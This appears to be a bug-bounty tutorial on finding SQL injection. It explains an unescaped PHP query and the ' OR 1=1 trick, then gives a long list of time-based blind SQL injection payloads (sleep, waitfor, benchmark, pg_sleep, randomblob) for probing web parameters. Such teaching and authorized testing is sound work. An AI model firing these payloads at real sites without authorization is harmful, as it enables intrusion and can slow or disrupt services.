Learning about Testing for SQL injection


SQL injection is as old as Cross Site Scripting (XSS) and even those there are a variety of ways to prevent it, it is still found in todays websites! For those scratching their head wondering what is SQLi, SQL injection will allow you to inject your own custom SQL command which can give you access to the site's database. Imagine you have the endpoint /query.php with the parameter ?name. The code for this may look like:

$sql = "SELECT email FROM users WHERE firstName='$firstName'";

We could run our command from providing something like /query.pp?name=sean' OR 1=1, which in terms of code would be:

$sql = "SELECT email FROM users WHERE firstName='sean' OR 1=1";

Can you see because the developer did not escape the string correctly we were able to inject our own SQL code, which in this case is ' OR 1=1. Numerous years ago testing for SQL injection was merely a case of looking for specific sql errors based on input, such as Warning: mysql_query(), sql syntax near, however most SQL injections you find in 2020 will be blind due to better error handling on frameworks. So does that mean we can still test & try discover SQL injection? Of course!

Finding SQL injection

There is no "go to" place for finding SQL injection as you can typically find them anywhere. For a website to function it will need to retrieve information from a database and this is where SQL injection enters. So what do I test? Any time you believe a parameter is retrieving information from a database (such as a number, report.php?id=1 would tell the code to retrieve id 1 from the database), test it for SQL injection! As well as this if you discover certain keywords being used in the request, such as select, query, limit, offset, or you discover column names in the request, begin testing for SQL injection.

Testing for SQL injection

We recommend either using a payload such as 1=1 or sleep commands for testing for SQL injection since there is usually no errors and you can rely on the response & timing to determine SQL injection. If your command was sleep(30) and the page took 30 seconds to load, and then changing it to sleep(1) and it loads instantly, then you know you are on the right path for finding an SQL injection! You may run into WAFs preventing you from testing and this will be a case-by-case basis as you'll need to determine what they are filtering, however you can find some useful payloads on the right side panel which should help you with your hunt.

SQLMap (http://sqlmap.org/) is a great tool to help you with your testing which is described as open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws. However, please make sure to exercise caution when using this tool and do not disrupt the website you are testing and be responsible & professional. Do not dump databases to prove your bug.

A list of sleep commands provided by @ismailtasdelen. To view more check out https://medium.com/@ismailtasdelen/sql-injection-payload-list-b97656cfd66b

from wapiti
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#
")) or sleep(5)="
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
'));waitfor delay '0:0:5'--
"));waitfor delay '0:0:5'--
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
" or benchmark(10000000,MD5(1))#
' or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
") or benchmark(10000000,MD5(1))#
') or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
")) or benchmark(10000000,MD5(1))#
')) or benchmark(10000000,MD5(1))#
pg_sleep(5)--
1 or pg_sleep(5)--
" or pg_sleep(5)--
' or pg_sleep(5)--
1) or pg_sleep(5)--
") or pg_sleep(5)--
') or pg_sleep(5)--
1)) or pg_sleep(5)--
")) or pg_sleep(5)--
')) or pg_sleep(5)--
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)--
SLEEP(5)="
SLEEP(5)='
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)--
or SLEEP(5)="
or SLEEP(5)='
waitfor delay '00:00:05'
waitfor delay '00:00:05'--
waitfor delay '00:00:05'#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))--
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))--
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)--
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)--
or pg_SLEEP(5)#
'\"
AnD SLEEP(5)
AnD SLEEP(5)--
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)--
&&SLEEP(5)#
' AnD SLEEP(5) ANd '1
'&&SLEEP(5)&&'1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)--
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
+benchmark(3200,SHA1(1))+'
+ SLEEP(10) + '
RANDOMBLOB(500000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/